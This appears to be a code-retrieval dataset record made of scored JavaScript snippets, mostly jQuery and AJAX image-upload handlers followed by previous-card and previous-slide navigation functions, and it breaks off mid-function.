{\n \n $.ajax({\n type: 'POST',\n url: this.action,\n data: form_data,\n contentType: false,\n cache: false,\n processData: false,\n async: false,\n success: function(data) {\n // alert(\"Photo uploaded!\");\n $(uploadButton).text(\"Update Photo\"); \n var newPhoto = $(thisForm).siblings(\"div.photo-with-credit\");\n newPhoto.html('<img class=\"card-img-top img-fluid\" src=\"/static/photos/'+data.photo+'\"><br>Photo by '+data.firstname+' '+data.lastname);\n var newDelButton = $(thisForm).siblings(\"div.new-del-button\");\n newDelButton.html('<form action=\"/del_photo\" method=\"POST\" class=\"del-photo\"><button type=\"submit\" class=\"delete-photo-btn btn btn-secondary btn-sm\" name=\"review_id\" value=\"'+recipeID+'\">Delete Photo</button><input type=\"hidden\" name=\"recipe_id\" value=\"'+recipeID+'\"></form>');\n \n $(\".delete-photo-btn\").on('click', function(){\n\n evt.preventDefault();\n var thisButton = this;\n var thisForm = this.parentElement;\n var recipeID = this.value;\n var thisDiv = $(thisForm).siblings(\"div.photo-with-credit\");\n var formInputs = {\n \"recipe_id\": recipeID\n };\n\n $.post(\"/del_photo\", formInputs, function(){\n // alert(\"Photo deleted.\");\n thisDiv.empty();\n thisButton.remove();\n });\n\n newPhoto.empty();\n newDelButton.empty();\n\n });\n }\n });\n}\n\nelse {\n // alert(\"Not a valid photo file!\");\n var alertDiv = document.createElement(\"div\"); \n $(alertDiv).addClass(\"alert alert-warning alert-dismissible\");\n $(alertDiv).attr(\"role\", \"alert\");\n $(alertDiv).append('<button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\"><span aria-hidden=\"true\">&times;</span></button>Not a valid photo file!');\n $(alertDiv).appendTo(\"#alert-area\");\n}\n}", "title": "" }, { "docid": "efe6ec7934cb9c0f58d0fed025fcfbc6", "score": "0.59364986", "text": "function profile_pic() {\n if (typeof FormData !== 'undefined') {\n\n var formData = new FormData($(\"#userimage\")[0]);\n $.ajax({\n\n url: base_url + \"recruiter/user_image_insert\",\n type: \"POST\",\n data: formData,\n contentType: false,\n cache: false,\n processData: false,\n success: function (data)\n {\n $('#bidmodal-2').modal('hide');\n $(\".user-pic\").html(data);\n document.getElementById('profilepic').value = null;\n $('#preview').prop('src', '#');\n $('#preview').hide();\n $('.popup_previred').hide();\n },\n });\n return false;\n }\n}", "title": "" }, { "docid": "81cc38dc1566de9b275eda8d31ccf827", "score": "0.5933168", "text": "setUploadEvent() {\n $('.upload-button')\n .unbind()\n .click(function(event) {\n event.preventDefault();\n const jwt = Cookies.get('user-jwt-esn');\n const userId = Cookies.get('user-id');\n const fd = new FormData();\n const files = $('#file')[0].files[0];\n fd.append('picture', files);\n fd.append('pictureDescription', $('#picDiscription').val());\n\n $('#addPictureModal').modal('hide');\n\n $.ajax({\n url: apiPath + '/emergencyStatusDetail/' + userId,\n type: 'post',\n headers: {\n Authorization: jwt,\n },\n data: fd,\n contentType: false,\n processData: false,\n })\n .done(function(response) {\n EmergencyStatusDetail.getInstance().drawPictureAndDescription(\n response\n );\n $('#picDiscription').val('');\n $('#file').val('');\n $('#picDiscription').addClass('hidden');\n $('.upload-button').addClass('hidden');\n })\n .fail(function(e) {\n $('#upload-alert').html(e);\n $('#upload-alert').show();\n });\n });\n }", "title": "" }, { "docid": "51bf83494fb45397ea009148eecc1310", "score": "0.5930695", "text": "function submitImage() {\n var formData = new FormData();\n var imgInput = $('#input_img_file')[0].files[0];\n formData.append('input_img_file', imgInput);\n $.ajax({\n url: 'post/preview',\n data: formData,\n cache: false,\n contentType: false,\n processData: false,\n type: 'POST',\n success: function(data) {\n var imgElement = $('<img>');\n imgElement.attr('src', 'data:image/png;base64,' + data);\n imgElement.attr('class', 'main_img');\n $('#preview_area').prepend(imgElement);\n }\n });\n}", "title": "" }, { "docid": "b5178e97d3111223ca30510ed22bc0d0", "score": "0.5927056", "text": "function doUpload(title, author, description, imgType, img){\n $(\"#submitBtn\").prop(\"disabled\", true);\n data = { title: title, author: author, desc: description, imgType: imgType, img: img }\n json = JSON.stringify(data);\n\n $.ajax({\n url: \"/upload\",\n type: \"POST\",\n data: json,\n\n contentType: \"application/json\",\n success: function (response) {\n if(response.code == 0){\n successUrl = `/join/${response.data.imgId}`\n window.location.href = successUrl;\n }\n else{\n $(\"#submitBtn\").prop(\"disabled\", false);\n console.log(\"Upload failed\");\n }\n console.log(JSON.stringify(response));\n },\n error: function (xhr, status, error) {\n $(\"#submitBtn\").prop(\"disabled\", false);\n console.log(error);\n },\n });\n}", "title": "" }, { "docid": "5f843297e8e099d017b5f5a1d925b279", "score": "0.59234905", "text": "function onSuccess(imageData) { \n //remove pic that might be already displayed\n removePicture()\n //add image type to string\n image = \"data:image/jpeg;base64,\"+ imageData;\n //show image\n $('#imagePreviewImg').attr('src',image)\n //update buttons\n $(\"#cameraTakePicture\").html('Take Another?');\n\n //document.getElementsByClassName('hiddenDelete')[0].style.display = \"block\";\n $(\"#removePicture\")[0].style.display = \"block\";\n }", "title": "" }, { "docid": "b7cc911073693f9440ac626d59124cd7", "score": "0.59224975", "text": "function done(result) {\n var location = result.location,\n status = result.status,\n entityUri = result.entityUri,\n upload = filterUploadsByEntity(entityUri);\n\n // If all the files of an upload object have been uploaded, remove the latter from the queue.\n if (++upload.filesUploaded >= upload.files.length) {\n notificationService.notify($translate('upload.status.success'));\n\n var index = uploadQueue.indexOf(upload),\n uri = upload.entityUri,\n id = upload.id;\n\n if (index != -1) {\n uploadQueue.splice(index, 1);\n\n sendUploadDoneEvent({\n entityUri: entityUri,\n fileUri: location,\n id: id\n });\n }\n }\n }", "title": "" }, { "docid": "679f3f2936d20b9b9b9ed632f39f7e5d", "score": "0.59212184", "text": "function uploadImageBar(id,nameImage){\n\t\t\tif(window.XMLHttpRequest) {\n \t\t\tvar Req = new XMLHttpRequest();\n \t\t}else if(window.ActiveXObject) { \n \t\t\tvar Req = new ActiveXObject(\"Microsoft.XMLHTTP\");\n \t\t}\n\t\t\n\t\tvar data = new FormData();\n\t\t\n\t\tvar idBar = new Array();\n\t\tvar partnerId = new Array();\n\t\t\n\t\tfor(var i=0;i<idImagenBarArray.length;i++){\n\t\t\t\n\t\t\tif(idImagenBarArray[i] != \"\"){\n\t\t\t\tdata.append('archivo' + i,valueImagenBarArray[i]);\n\t\t\t\tpartnerId.push(idPartnerImagenBarArray[i]);\n\t\t\t}\n\t\t}\n\t\tReq.open(\"POST\", \"../admin/sporttv/uploadImageBar\", true);\n\t\t\n\t\tReq.onload = function(Event) {\n\t\t//Validamos que el status http sea ok\n\t\t\tif (Req.status == 200) {\n\t\t\t\t/*Como la info de respuesta vendrá en JSON \n\t\t\t\tla parseamos */\n\t\t\t\tvar nameImage2 = Req.responseText;\n\t\t\t\tajaxSaveSporttv(id,nameImage,nameImage2,partnerId);\n\t\t\t} else {\n\t\t \tconsole.log(Req.status); //Vemos que paso.\n\t\t\t}\n\t\t};\t\n\t\tReq.send(data);\n\t}", "title": "" }, { "docid": "795f8d4ac7cb0cd9a5944de18b5cc5a1", "score": "0.5904201", "text": "function finalizeUpload (mediaId) {\n return makePost('media/upload.json', {\n command : 'FINALIZE',\n media_id: mediaId\n }).then(data => mediaId).catch(err => console.log(\"finalerror\",err));\n }", "title": "" }, { "docid": "4032baa0374fecd1ac35bfc500871eba", "score": "0.5901592", "text": "addImageUpload(e) {\n //alert(e.target.files[0]);\n this.loaderService.display(true);\n this.imageChangedEvent = e;\n $('#file-upload').removeAttr('src');\n this.filename = \"\";\n this.filetype = \"\";\n this.imageBase64String = \"\";\n //this.adminPage.profileImagePath = \"\";\n if (e.target.files && e.target.files[0]) {\n let file = e.target.files[0];\n var filename = e.target.files[0].name.toString();\n var nameArray = filename.split('.');\n var extention = nameArray[nameArray.length - 1];\n if ((extention == \"JPEG\" || extention == \"jpeg\" || extention == \"jpg\" || extention == \"JPG\" || extention == \"png\" || extention == \"PNG\") && e.target.files[0].size <= 10000000) // 10000000 bytes = 10MB \n {\n let reader = new FileReader();\n reader.readAsDataURL(file);\n reader.onload = () => {\n this.filename = file.name;\n this.filetype = file.type;\n // const csv: string = reader.result as string;\n // this.adminPage.profileImage = csv.replace(\"data:image/jpeg;base64,\", \"\");\n this.imagePath = reader.result;\n };\n // this.masterGalleryForm.controls.imagePath.setValue(this.addcreation.imagePath);\n }\n else if (extention != \"JPEG\" && extention != \"jpeg\" && extention != \"jpg\" && extention != \"JPG\" && extention != \"PNG\" && extention != \"png\") {\n this.filename = \"\";\n this.filetype = \"\";\n this.imagePath = \"\";\n $('#file-upload').removeAttr('src');\n this.loaderService.display(false);\n alert(\"Please Upload the valid file\");\n return;\n }\n else if (e.target.files[0].size > 10000000) {\n this.filename = \"\";\n this.filetype = \"\";\n this.imagePath = \"\";\n // this.adminPage.profileImagePath = \"\";\n $('#file-upload').removeAttr('src');\n this.loaderService.display(false);\n alert(\"Document size should be less than 10MB\");\n return;\n }\n }\n }", "title": "" }, { "docid": "82582948980678d4e85f93a93556d1ed", "score": "0.5901217", "text": "addImageUpload(e) {\n this.loaderService.display(true);\n this.imageChangedEvent = e;\n $('#file-upload').removeAttr('src');\n this.addcreation.filename = \"\";\n this.addcreation.filetype = \"\";\n this.addcreation.imageBase64String = \"\";\n //this.adminPage.profileImagePath = \"\";\n if (e.target.files && e.target.files[0]) {\n let file = e.target.files[0];\n var filename = e.target.files[0].name.toString();\n var nameArray = filename.split('.');\n var extention = nameArray[nameArray.length - 1];\n if ((extention == \"JPEG\" || extention == \"jpeg\" || extention == \"jpg\" || extention == \"JPG\" || extention == \"png\" || extention == \"PNG\") && e.target.files[0].size <= 10000000) // 10000000 bytes = 10MB \n {\n let reader = new FileReader();\n reader.readAsDataURL(file);\n reader.onload = () => {\n this.addcreation.filename = file.name;\n this.addcreation.filetype = file.type;\n // const csv: string = reader.result as string;\n // this.adminPage.profileImage = csv.replace(\"data:image/jpeg;base64,\", \"\");\n this.addcreation.imagePath = reader.result;\n };\n // this.masteraddsForm.controls.imagePath.setValue(this.addcreation.imagePath);\n }\n else if (extention != \"JPEG\" && extention != \"jpeg\" && extention != \"jpg\" && extention != \"JPG\" && extention != \"PNG\" && extention != \"png\") {\n this.addcreation.filename = \"\";\n this.addcreation.filetype = \"\";\n this.addcreation.imagePath = \"\";\n $('#file-upload').removeAttr('src');\n this.loaderService.display(false);\n alert(\"Please Upload the valid file\");\n return;\n }\n else if (e.target.files[0].size > 10000000) {\n this.addcreation.filename = \"\";\n this.addcreation.filetype = \"\";\n this.addcreation.imagePath = \"\";\n // this.adminPage.profileImagePath = \"\";\n $('#file-upload').removeAttr('src');\n this.loaderService.display(false);\n alert(\"Document size should be less than 10MB\");\n return;\n }\n }\n }", "title": "" }, { "docid": "d5a55f261210ab164b17b3bf3f9bf67c", "score": "0.5900478", "text": "function uploaderFileUploaded(up, file, response) {\n \n res = JSON.parse(response.response);\n\n $( \"#file0\" ).val( res.result.fname );\n\n delete res.result.fname;\n \n console0data = '<div class=\"console0 alert alert-success\" role=\"alert\"><div id=\"res\"></div></div>';\n\n $(\".file0_block #console0\").html(console0data);\n\n $.each( res.result, function( key, value ) {\n\n if(value.valid == true) {\n var status_class = 'glyphicon-ok success';\n }\n if(value.valid == false) {\n var status_class = 'glyphicon-remove';\n $( \".file0_block #console0 .alert\" ).removeClass(\"alert-success\").addClass(\"alert-danger\");\n }\n\n $(\".file0_block #console0 #res\").append( '<div><span class=\"glyphicon '+status_class+'\" style=\"margin-right:5px\"></span> '+value.title+'</div>' );\n });\n\n if(res.result.width.valid == true && res.result.height.valid == true) {\n\n $( \"#width\" ).val(res.result.width.data);\n $( \"#height\" ).val(res.result.height.data);\n \n $( \"#width_file0\" ).val(res.result.width.data);\n $( \"#height_file0\" ).val(res.result.height.data);\n }\n\n\n CalcPrint();\n \n}", "title": "" }, { "docid": "9582137f002ff74e055026b53e8f92d6", "score": "0.5895792", "text": "function HandelFile() {\n //todo unset interval for update\n updateArea=false;\n\n $('.main').empty().append(\"<form id='SendFile' action=\\\"../../upload\\\" enctype=\\\"multipart/form-data\\\" method=\\\"POST\\\">\\n\" +\n \" <input id='uploadButton' type=\\\"file\\\" value=\\\"Choose File\\\" accept=\\\"text/xml\\\" name=\\\"file1\\\"><br>\\n\" +\n \" <input id='submitButton' type=\\\"Submit\\\" value=\\\"Upload File\\\" ><br>\\n\" +\n \"</form>\");\n\n $('#SendFile').submit(function (e) {\n\n e.preventDefault();\n var form = $('form')[0]; // You need to use standard javascript object here\n var formData = new FormData(form);\n $.ajax({\n type: \"POST\",\n data: formData,\n contentType: false,\n processData: false,\n url: this.action,\n error: function (data) {\n $('#EndLine').text(data)\n },\n success: function (data) {\n $('#EndLine').text(data)\n }\n\n });\n return false;\n });\n}", "title": "" }, { "docid": "90927b505c991369ede4aa8b94a27d50", "score": "0.589253", "text": "function updatePic() {\n $.ajax({\n url: '/uploadimage', //Server script to process data\n type: 'POST',\n data: formData,\n cache: false,\n contentType: false,\n processData: false,\n //$('form').serialize(),\n success: function(response) {\n $.ajax({\n url: '/uploadprofileimage/'+currentuser._id, //Server script to process data\n type: 'POST',\n data: { name : response.filename+\"\" },\n //$('form').serialize(),\n success: function(resp) {\n $('#editprofilepicture, #profilepicture').attr('src', \"uploads/\"+resp.profileimage);\n\n $.ajax({\n type: \"GET\",\n url: \"/listingbyname/\" + resp.profileimage,\n success: function(data){\n if (data) {\n $('#mainlistinglink').attr('name', data._id);\n }\n }\n });\n }\n });\n\n }\n });\n }", "title": "" }, { "docid": "609242de9ae10f56c7a5197df05dfb31", "score": "0.5890102", "text": "function ajaxCompleted(ajax) {\n\t\n}", "title": "" }, { "docid": "d79d5e6b341206ef2fb0b10bdc7ad47b", "score": "0.5858197", "text": "function beforeSubmit() {\n // check whether browser fully supports all File API\n if (window.File && window.FileReader && window.FileList\n && window.Blob) {\n\n if (!$('#imageInput').val()) // check empty input\n // filed\n {\n $(\"#output\").html(\"Are you kidding me?\");\n return false\n }\n\n var fsize = $('#imageInput')[0].files[0].size; // get\n // file\n // size\n var ftype = $('#imageInput')[0].files[0].type; // get\n // file\n // type\n\n // allow only valid image file types\n switch (ftype) {\n case 'image/png':\n case 'image/gif':\n case 'image/jpeg':\n case 'image/pjpeg':\n break;\n default:\n $(\"#output\")\n .html(\n \"<b>\"\n + ftype\n + \"</b> Unsupported file type!\");\n return false\n }\n\n // Allowed file size is less than 1 MB (1048576)\n if (fsize > 1048576) {\n $(\"#output\")\n .html(\n \"<b>\"\n + bytesToSize(fsize)\n + \"</b> Too big Image file! <br />Please reduce the size of your photo using an image editor.\");\n return false\n }\n\n // Progress bar\n progressbox.show(); // show progressbar\n progressbar.width(completed); // initial value 0%\n // of progressbar\n statustxt.html(completed); // set status text\n statustxt.css('color', '#000'); // initial color of\n // status text\n\n $('#submit-btn').hide(); // hide submit button\n $('#loading-img').show(); // hide submit button\n $(\"#output\").html(\"\");\n } else {\n // Output error to older unsupported browsers that\n // doesn't support HTML5 File API\n $(\"#output\")\n .html(\n \"Please upgrade your browser, because your current browser lacks some new features we need!\");\n return false;\n }\n }", "title": "" }, { "docid": "034c23859136358579ce1a525fd071ea", "score": "0.58561486", "text": "secondPosterUpload(e) {\n this.loaderService.display(true);\n this.imageChangedEvent2 = e;\n $('#file-upload').removeAttr('src');\n this.create_movie.filename = \"\";\n this.create_movie.filetype = \"\";\n this.create_movie.imageBase64String = \"\";\n //this.adminPage.profileImagePath = \"\";\n if (e.target.files && e.target.files[0]) {\n let file = e.target.files[0];\n var filename = e.target.files[0].name.toString();\n var nameArray = filename.split('.');\n var extention = nameArray[nameArray.length - 1];\n if ((extention == \"JPEG\" || extention == \"jpeg\" || extention == \"jpg\" || extention == \"JPG\" || extention == \"png\" || extention == \"PNG\") && e.target.files[0].size <= 10000000) // 10000000 bytes = 10MB\n {\n let reader = new FileReader();\n reader.readAsDataURL(file);\n reader.onload = () => {\n this.create_movie.filename = file.name;\n this.create_movie.filetype = file.type;\n // const csv: string = reader.result as string;\n // this.adminPage.profileImage = csv.replace(\"data:image/jpeg;base64,\", \"\");\n this.create_movie.imagePath = reader.result;\n };\n // this.masterGalleryForm.controls.imagePath.setValue(this.addcreation.imagePath);\n }\n else if (extention != \"JPEG\" && extention != \"jpeg\" && extention != \"jpg\" && extention != \"JPG\" && extention != \"PNG\" && extention != \"png\") {\n this.create_movie.filename = \"\";\n this.create_movie.filetype = \"\";\n this.create_movie.imagePath = \"\";\n $('#file-upload').removeAttr('src');\n this.loaderService.display(false);\n alert(\"Please Upload the valid file\");\n return;\n }\n else if (e.target.files[0].size > 10000000) {\n this.create_movie.filename = \"\";\n this.create_movie.filetype = \"\";\n this.create_movie.imagePath = \"\";\n // this.adminPage.profileImagePath = \"\";\n $('#file-upload').removeAttr('src');\n this.loaderService.display(false);\n alert(\"Document size should be less than 10MB\");\n return;\n }\n }\n }", "title": "" } ]
f5ce3d9f5a1e7fd432803a6d9fcd56c9
On click of previous card
[ { "docid": "02351456b58eb171836c089ce9734b4f", "score": "0.7437415", "text": "previousCard() {\n\n //Set new index\n const newCardIndex = this.state.currentCardIndex - 1;\n\n //If the new index is less than 0 then return\n if (newCardIndex < 0) {\n return;\n }\n\n //set the image to be displayed to the user\n this.setState({ currentCardIndex: newCardIndex, currentImage: this.props.card[newCardIndex].image });\n }", "title": "" } ]
[ { "docid": "9680e4b3cafc713456e69c031b5bf516", "score": "0.7808824", "text": "function prevCard() {\n const prevButton = document.getElementById('modal-prev');\n let index = activeCardIds.indexOf(selectedcardId.toString()) - 1;\n if(index >= 0){\n closeModal();\n selectedcardId = parseInt(activeCardIds[index]);\n createModal(selectedcardId);\n }\n else{\n prevButton.style.display = 'none';\n }\n}", "title": "" }, { "docid": "9fd57ec3a8fe0e6462b06f0b36bb74f0", "score": "0.7774102", "text": "_goToPrevProductCard() {\n if (this._btnPrev.disabled === false) {\n var newCurrentPos = 0;\n newCurrentPos = this._currentPos - 1;\n this._goToProductCard(newCurrentPos, 'prev');\n }\n }", "title": "" }, { "docid": "9ab819e62c7dfa232c2fe37744a5e618", "score": "0.75765496", "text": "previousClicked() {\n if(this.get('page') > 0) {\n this.set('page', this.get('page') - 1);\n }\n }", "title": "" }, { "docid": "bfb7c0ce7544679e57f6372eafac3c0b", "score": "0.7314157", "text": "previousClicked() {\n if(this.get('page') > 0) {\n this.$(\"#d\"+this.get('page').toString()).attr('class','');\n this.set('page', this.get('page') - 1);\n this.$(\"#d\"+this.get('page').toString()).attr('class','active');\n }\n }", "title": "" }, { "docid": "b479b1140bc5753fdee707f56f09e43c", "score": "0.72697407", "text": "function prev() \n{\n\tintIndex--;\n\n\tvar divQuestion = document.getElementById(\"question\");\n\tvar divAnswer = document.getElementById(\"answer\");\n\n\tclearCard(divQuestion, divAnswer);\n\tsetCard();\n\n\tdocument.getElementById(\"nextBtn\").removeAttribute(\"disabled\"); // Enable the \"Next\" button\n\n\t// Check if the location of the card index is at the first card\n\tif (intIndex <= 1) // Index is at the first card\n\t{\n\t\tdocument.getElementById(\"prevBtn\").setAttribute(\"disabled\", \"disabled\"); // Disable the \"Previous\" button\t\n\t}\n}", "title": "" }, { "docid": "da9e7a79aba8755f8f17a09527b91f42", "score": "0.7258267", "text": "handlePreviousClick() {\n let section = Number(LearningService.getSectionNo());\n let lecture = Number(LearningService.getLectureNo());\n const data = LearningService.getSectionData();\n \n lecture--;\n if (lecture === -1) {\n if (section === 0)\n return;\n \n section--;\n lecture = data[section].lectures.length - 1;\n }\n\n const self = this;\n LearningService.loadLecture(LearningService.getCurrentCourseRoute(), section, lecture, xml => {\n self.setState({\n loaded: true,\n content: xml,\n });\n });\n }", "title": "" }, { "docid": "dba411de16d3398e9f104a981b283490", "score": "0.7245891", "text": "onPreviousClick() {\n let newIndex = this.state.selectedSlideIndex - 1;\n if (newIndex < 0) {\n newIndex = this.numOfSlides() - 1;\n }\n this.transitionDirection = PREVIOUS;\n this.handleSlideChange(newIndex);\n }", "title": "" }, { "docid": "5a571ab377c2f3ab8ab6e313133732c6", "score": "0.7164728", "text": "function onPreviousClick() {\n vm.select = true;\n vm.create = false;\n }", "title": "" }, { "docid": "a4a029fd4e49f7f0937d476a60d0875f", "score": "0.71590483", "text": "function prev() {\n $('.prev').on('click', function() {\n $('body').find('.person-container').empty();\n currentMu--;\n cycleThru();\n addInfo();\n highlight();\n });\n }", "title": "" }, { "docid": "9d19ff32120bd488eef150c74a9de1c9", "score": "0.7127023", "text": "function goToPrev() {\n\n currentProfileID -= 1;\n\n if (currentProfileID < 0) {\n currentProfileID = studentImageGridImages.length - 1;\n }\n\n //SMOTTH TRANSITION PREVIEW PANEL IMAGES\n var changePreviewPrevImage = new TimelineMax();\n changePreviewPrevImage.to(prevPreviewPanelImage, 0.3, {\n opacity: 0.3\n });\n changePreviewPrevImage.to(prevPreviewPanelImage, 0.3, {\n opacity: 1\n }, \"-=.2\");\n\n //ASSIGN IMAGES IN THE PROFILE PREVIEW PANELS\n setPreviewNextImage(currentProfileID);\n setPreviewPrevImage(currentProfileID);\n\n _switchModal(currentProfileID);\n\n }", "title": "" }, { "docid": "79bf2503db29f94bae7f9c6c588e4717", "score": "0.70859563", "text": "previous() {\n this.flip(false);\n }", "title": "" }, { "docid": "175272ace43ca9b6539aa90632d26791", "score": "0.70445377", "text": "function Back(card){\n // console.log(\"Back \"+card);\n let id = card.substring(4);\n hide(\"question\" + id);\n show(\"question\" + (Number(id) - 1));\n}", "title": "" }, { "docid": "2cf52faa428e8cf3ee97e0796199a9ed", "score": "0.70136964", "text": "function prevEventListener(element, index) {\n\n element.addEventListener('click', (event) => {\n event.preventDefault();\n document.querySelector('.modal-container').remove()\n const deck = document.querySelectorAll('.card');\n if ((index - 1) === -1) {\n deck[deck.length -1].click();\n }\n else {\n deck[index -1].click();\n }\n });\n}", "title": "" }, { "docid": "b35924ed10c96d18369b60102baae535", "score": "0.69973475", "text": "function prev_question() {\n\n // disable prev card's prev button to prevent fast click through bug\n previousCard['previousBtn'].attr('disabled', true);\n\n previousCard.removeClass(\"card-hide\");\n currentCard.addClass(\"card-next\");\n previousCard.removeClass(\"card-previous\");\n nextCard.addClass(\"card-previous\");\n nextCard.removeClass(\"card-next\");\n\n // After transition is complete, swap cards, make visible, adjust data.\n setTimeout(function() {\n if (currentCard['answerShowing'] == true) {swapContent(currentCard);} \n tempCard = previousCard;\n previousCard = nextCard;\n nextCard = currentCard;\n currentCard = tempCard;\n nextCard.addClass(\"card-hide\");\n if (cardCounter - 4 <= 0){\n prevCounter = numberOfCards - (4 - cardCounter);\n }\n else {\n prevCounter = cardCounter-4;\n }\n previousCard.cardNum.text(prevCounter);\n previousCard.data = data.cards[prevCounter-1];\n previousCard.content.text(previousCard.data.question);\n if (typeof previousCard.data.answer === \"undefined\") {\n previousCard.answerBtn.addClass(\"button-hide\");\n }\n else {\n previousCard.answerBtn.removeClass(\"button-hide\");\n }\n if (cardCounter-- <= 1) {cardCounter = numberOfCards;}\n\n // Re-enable the next button\n currentCard['previousBtn'].attr('disabled', false);\n\n }, 1000);\n }", "title": "" }, { "docid": "0a92683bf78ce8f113e25bebe278fa8e", "score": "0.6983411", "text": "function prev() {\n\tnewSlide= index -1;\n\tshowSlide(newSlide);\n}", "title": "" }, { "docid": "c22dbbb1f8489cd861d07bb581a2482c", "score": "0.6980531", "text": "previous() {\r\n this._move(-1);\r\n }", "title": "" }, { "docid": "0dde2e23d39584934366dd54225c6825", "score": "0.6970361", "text": "previousPage() {\n if (this._uuids[this._currentIndex - 1]) {\n this.components[this._uuids[this._currentIndex]].unmount();\n this._currentIndex -= 1;\n this.loadComponent();\n }\n }", "title": "" }, { "docid": "29491c29f2e29ce7ad0997feb8f20a05", "score": "0.69580394", "text": "function prevModal(btn, modals){\r\n btn.addEventListener('click', (e)=>{\r\n \r\n const selected_card = e.target.parentNode.parentNode;\r\n let index = [...modals].indexOf(selected_card);\r\n \r\n if(index == 0){\r\n modals[index].style.display = 'none';\r\n index = modals.length-1;\r\n modals[index].style.display = '';\r\n }else {\r\n index--; \r\n modals[index].style.display = '';\r\n modals[index+1].style.display = 'none';\r\n }\r\n })\r\n}", "title": "" }, { "docid": "7442f0c0176e59640a3edb4c4f34851b", "score": "0.69227266", "text": "previousClicked() {\n this.calendar.activeDate = this.calendar.currentView == 'month' ?\n this._dateAdapter.addCalendarMonths(this.calendar.activeDate, -1) :\n this._dateAdapter.addCalendarYears(this.calendar.activeDate, this.calendar.currentView == 'year' ? -1 : -yearsPerPage);\n }", "title": "" }, { "docid": "7442f0c0176e59640a3edb4c4f34851b", "score": "0.69227266", "text": "previousClicked() {\n this.calendar.activeDate = this.calendar.currentView == 'month' ?\n this._dateAdapter.addCalendarMonths(this.calendar.activeDate, -1) :\n this._dateAdapter.addCalendarYears(this.calendar.activeDate, this.calendar.currentView == 'year' ? -1 : -yearsPerPage);\n }", "title": "" }, { "docid": "7442f0c0176e59640a3edb4c4f34851b", "score": "0.69227266", "text": "previousClicked() {\n this.calendar.activeDate = this.calendar.currentView == 'month' ?\n this._dateAdapter.addCalendarMonths(this.calendar.activeDate, -1) :\n this._dateAdapter.addCalendarYears(this.calendar.activeDate, this.calendar.currentView == 'year' ? -1 : -yearsPerPage);\n }", "title": "" }, { "docid": "7442f0c0176e59640a3edb4c4f34851b", "score": "0.69227266", "text": "previousClicked() {\n this.calendar.activeDate = this.calendar.currentView == 'month' ?\n this._dateAdapter.addCalendarMonths(this.calendar.activeDate, -1) :\n this._dateAdapter.addCalendarYears(this.calendar.activeDate, this.calendar.currentView == 'year' ? -1 : -yearsPerPage);\n }", "title": "" }, { "docid": "7442f0c0176e59640a3edb4c4f34851b", "score": "0.69227266", "text": "previousClicked() {\n this.calendar.activeDate = this.calendar.currentView == 'month' ?\n this._dateAdapter.addCalendarMonths(this.calendar.activeDate, -1) :\n this._dateAdapter.addCalendarYears(this.calendar.activeDate, this.calendar.currentView == 'year' ? -1 : -yearsPerPage);\n }", "title": "" }, { "docid": "987c7f316afb16a364bcec99a354d456", "score": "0.6913898", "text": "fetchPrevious() {\n --this.currentPage;\n this.selectPayoutHistory();\n }", "title": "" }, { "docid": "8882dce24da1c16c41d86ba48ffbfabf", "score": "0.6904133", "text": "prev() {\n this.goTo(this.index - 1)\n }", "title": "" }, { "docid": "1de3a48216d9b56af0e8083b6224f5a5", "score": "0.6873261", "text": "function prev() {\n\t\t\t\tif (activeIndex > 0) {\n\t\t\t\t\tactiveIndex -= 1;\n\t\t\t\t\treturn selectItemByIndex(activeIndex);\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}", "title": "" }, { "docid": "a777757234d17701e74cde6777809975", "score": "0.6864476", "text": "function prevButtonPressed() {\n\t\t\tif(vm.pages.currentPage > 0) {\n\t\t\t\tvm.pages.currentPage--;\n\t\t\t}\n\n\t\t\t//check for Q3 yes, skip Q4 if yes\n\t\t\tif(vm.pages.currentPage === 4 && vm.questions.q3.broadSpectrumVirucide == 'yes') {\n\t\t\t\tvm.pages.currentPage--;\n\t\t\t}\n\n\t\t\tvm.buttons.updateText();\n\t\t}", "title": "" }, { "docid": "9e26089c5db290b95421a5e5289d035d", "score": "0.6855278", "text": "function prev() {\n slide(false, false);\n }", "title": "" }, { "docid": "d3bbbfe507d433d8308f56d14b72a01c", "score": "0.67871076", "text": "function previous() {\n cy = (cm === 0) ? cy - 1 : cy;\n cm = (cm === 0) ? 11 : cm - 1;\n showCalendar(cm, cy);\n}", "title": "" }, { "docid": "b10691420e2b6d6055b772d312123a2d", "score": "0.67736346", "text": "function previous() {\n if(photosIndexGlobal > 0) {\n photosIndexGlobal--;\n } else {\n photosIndexGlobal = photosArrayGlobal.length - 1;\n }\n \n displayCurrentPhoto();\n \n}", "title": "" }, { "docid": "45613f998b837f997628e7f576d090e8", "score": "0.6751147", "text": "viewPreviousEmployee() {\n const allAppendedEmployees = document.querySelectorAll('.card');\n const currentEmployeeId = this.determineDisplayedEmployee();\n if (currentEmployeeId !== allAppendedEmployees[0].id) {\n const prevEmployeeId = document.querySelector(`#${currentEmployeeId}`)\n .previousElementSibling.id;\n const prevEmployee = this.employees[prevEmployeeId.split('-')[1]];\n this.closeFullDetails();\n this.viewFullDetails(prevEmployee.renderEmployeeFull());\n } else {\n const lastEmployeeId =\n allAppendedEmployees[allAppendedEmployees.length - 1].id;\n const lastEmployee = this.employees[lastEmployeeId.split('-')[1]];\n this.closeFullDetails();\n this.viewFullDetails(lastEmployee.renderEmployeeFull());\n }\n }", "title": "" }, { "docid": "ef53453ae5cda8a998ae0b079010bef8", "score": "0.6749558", "text": "function previousPage(e) {\n console.log('Previous button clicked');\n if (pageNumber >= 0) {\n pageNumber--;\n // fetchResults(e);\n } else {\n \n return;\n }\n fetchResults(e);\n console.log('Page:', pageNumber);\n}", "title": "" }, { "docid": "9b7ee4b05dbfef28e190eecc5413613a", "score": "0.67494506", "text": "function prev() {\n appModel.prev();\n }", "title": "" }, { "docid": "50358d8e6c25091eea95b8a1776ed068", "score": "0.6749163", "text": "function previousPage(e){\n e.preventDefault();\n if(config.current>0){\n config.target.find('.active').attr('class','');\n $(config.target.children('li')[config.current-1]).attr('class','active')\n .css('display','block');\n config.target.children('li').filter(':not(.active)').css('display','none');\n config.current--;\n }\n }", "title": "" }, { "docid": "251161649c3cc8825819fe989c033480", "score": "0.6747916", "text": "prev() {\n this.slide(-1);\n }", "title": "" }, { "docid": "57364af6cba7b0df28ada1902cd5cc31", "score": "0.6747853", "text": "getPrevCard() {\n let prevIndex = this.cards.length - 2\n\n // check there are sufficient cards in the pile\n if (this.cards.length < 2) {\n return null\n }\n return this.cards[prevIndex]\n }", "title": "" }, { "docid": "5c45f73d895b55dee0edcd11f2252922", "score": "0.674002", "text": "function prevClicked() {\n 